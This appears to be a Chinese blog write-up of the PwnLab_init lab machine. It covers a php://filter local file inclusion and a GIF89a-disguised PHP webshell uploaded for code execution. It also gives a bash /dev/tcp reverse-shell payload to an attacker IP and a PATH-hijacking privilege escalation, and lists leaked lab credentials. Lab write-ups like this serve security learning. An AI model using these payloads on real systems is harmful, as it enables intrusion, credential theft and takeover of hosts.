Pwnlab_init打靶记录

主机探测

ip为192.168.31.175 端口扫描

访问80页面,有登录页面

LFI+图片马->RCE

发现page参数可控

尝试读取config,发现没有回显,用php://filter

1
http://192.168.31.175/?page=php://filter/convert.base64-encode/resource=config

解码之后得到数据库的账号密码root/H4u%QJ_H99

登录数据库之后,查找有用信息

获得三组用户名和密码,对其进行base64解密

1
2
3
4
5
6
└─$ echo 'Sld6WHVCSkpOeQ==' | base64 -d 
JWzXuBJJNy 
└─$ echo 'U0lmZHNURW42SQ==' |base64 -d 
SIfdsTEn6I
└─$ echo 'aVN2NVltMkdSbw==' | base64 -d 
iSv5Ym2GRo

登录kent账号,准备上传图片。这里会想到上传图片马,但是直接修改文件后缀的方式无法成功上传木马,需要搞清楚这里的校验规则是怎样的

同样通过LFI读取upload.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
...

<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}
?>

规则解读:

  • 设置文件后缀白名单:".jpg",".jpeg",".gif",".png"
  • 检验文件类型是否为·
  • 检验MIME是否为image/gif image/jpeg image/jpg image/png之一
  • $filetype 中不允许存在/

要绕过这些校验规则,可以结合之前的LFI漏洞

查看index.php内容,这里提示了在cookie设置lang=要包含的文件

在一句话木马前面加入GIF89a,然后将木马保存为图片格式,可以欺骗简单的waf

[!note] GIF89a是图文件头。此处靶机中,php使用getimagesize函数来获取图像大小及相关信息,所以这里改后缀就不可行了。但是可以利用文件头欺骗,来让函数检测无效。

在cookie处传入图片路径,成功RCE

反弹shell

反弹shell,payload如下:

1
bash+-c+'exec+bash+-i%26>/dev/tcp/192.168.31.212/55555+<%261'

成功反弹shell

将shell升级为tty,查看家目录下的用户

环境变量劫持->提权

用之前的密码尝试切换用户,寻找有用信息

kane家目录下发现一个可执行文件msgmike,运行,但出现报错

报错是说不存在/home/mike/msg.txt这个文件,但是我们目前没有mike权限去确认是否存在这个文件,这里想到环境变量劫持

进入bash之后,bash是一个独立的进程,在其中执行的命令都是子进程。==子进程只会继承父进程的环境变量,不会继承父进程的自定义变量==。如果想让子进程继续使用父进程的自定义变量,就需要把自定义变量转换成环境变量,这就需要命令export了。

1
2
3
4
5
6
# 创造一个cat
echo /bin/bash > cat
# 赋予权限
chmod 777 cat
# 环境变量劫持
export PATH=/tmp:$PATH

此时就切换至mike权限了,继续在mike的家目录下寻找信息,发现一个属于root的msg2root文件

strings查看其中可见字符,发现执行这个文件的时候,会将输入的字符追加写入/root/messages.txt

输入/bin/sh 让系统进入到其中 提权成功

Got flag

总结

1、这台靶机考查了如何绕过上传图片的限制,首先通过LFI漏洞读取源码文件,明确校验规则,然后LFI结合图片进行RCE

2、提权主要是用到环境变量劫持这一手段

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行